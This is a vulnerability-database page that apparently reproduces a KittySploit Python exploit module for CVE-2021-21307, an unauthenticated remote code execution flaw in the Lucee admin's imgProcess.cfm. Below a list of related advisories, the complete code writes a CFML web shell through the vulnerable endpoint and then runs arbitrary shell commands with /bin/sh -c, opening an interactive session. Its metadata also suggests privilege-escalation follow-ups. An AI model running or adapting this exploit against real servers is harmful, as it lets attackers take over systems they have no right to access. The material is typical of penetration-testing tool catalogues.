Lucene search
+L

Lucee - imgProcess.cfm Unauthenticated RCE (CVE-2021-21307)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Unauthenticated RCE in Lucee via /lucee/admin/imgProcess.cfm to execute commands.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Lucee Administrator imgProcess.cfm Arbitrary File Write Exploit
18 Aug 202100:00
–zdt
attackerkb
attackerkb
CVE-2021-21307
11 Feb 202119:15
–attackerkb
circl
Circl
CVE-2021-21307
11 Feb 202122:54
–circl
cnnvd
CNNVD
Lucee Server Authorization Issues Vulnerability
11 Feb 202100:00
–cnnvd
cve
CVE
CVE-2021-21307
11 Feb 202118:20
–cve
cvelist
Cvelist
CVE-2021-21307 Remote Code Exploit in Lucee Admin
11 Feb 202118:20
–cvelist
kittysploit
KittySploit
Lucee - imgProcess.cfm Unauth Access Detection (CVE-2021-21307)
10 Aug 202606:19
–kittysploit
mend
Mend
CVE-2021-21307
11 Feb 202118:20
–mend
metasploit
Metasploit
Lucee Administrator imgProcess.cfm Arbitrary File Write
15 Jan 202100:00
–metasploit
nuclei
Nuclei
Lucee Admin - Remote Code Execution
8 Oct 202602:15
–nuclei
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Lucee imgProcess.cfm unauthenticated RCE (CVE-2021-21307) — opens execute session."""

import re
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Lucee - imgProcess.cfm Unauthenticated RCE (CVE-2021-21307)',
        'description': (
            'Exploits CVE-2021-21307 by writing a CFML shell via '
            '/lucee/admin/imgProcess.cfm?file=<name>.cfm and executing commands through '
            'cfexecute. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-21307'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-21307',
        ],
        'tags': ['lucee', 'rce', 'cfml', 'unauth', 'cve-2021-21307'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.6,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'post/shell/multi/gather/privesc_suggester',
                    'scanner/http/cve_2021_21307_detect',
                ],
            },
        },
    }

    def _write_shell(self, name: str) -> bool:
        # imgSrc body is written as CFML file contents.
        cfml = (
            '<cfsetting showdebugoutput="false">'
            '<cfexecute name="#url.cmd#" arguments="#url.args#" '
            'variable="out" timeout="10"/><cfoutput>#out#</cfoutput>'
        )
        r = self.http_request(
            method='POST',
            path=f'/lucee/admin/imgProcess.cfm?file={name}',
            data='imgSrc=' + cfml,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return bool(r and r.status_code in (200, 302, 500))

    def execute(self, cmd: str) -> str:
        name = secrets.token_hex(6) + '.cfm'
        if not self._write_shell(name):
            return ''
        from urllib.parse import quote
        # Prefer /bin/sh -c on unix-like hosts.
        path = (
            f'/lucee/admin/{name}?cmd=/bin/sh&args=-c%20'
            + quote(str(cmd), safe='')
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2021-21307 confirmed: id via imgProcess.cfm shell',
                'confidence': 'high',
            }
        # Soft fallback: endpoint reachable
        probe = self.http_request(
            method='POST',
            path='/lucee/admin/imgProcess.cfm?file=probe.cfm',
            data='imgSrc=',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if probe and probe.status_code == 200:
            return {
                'vulnerable': True,
                'reason': 'imgProcess.cfm reachable (soft fingerprint)',
                'confidence': 'medium',
            }
        return {
            'vulnerable': False,
            'reason': 'imgProcess.cfm not exploitable',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
CVSS 27.5
CVSS 3.18.6 - 9.8
EPSS0.89189
0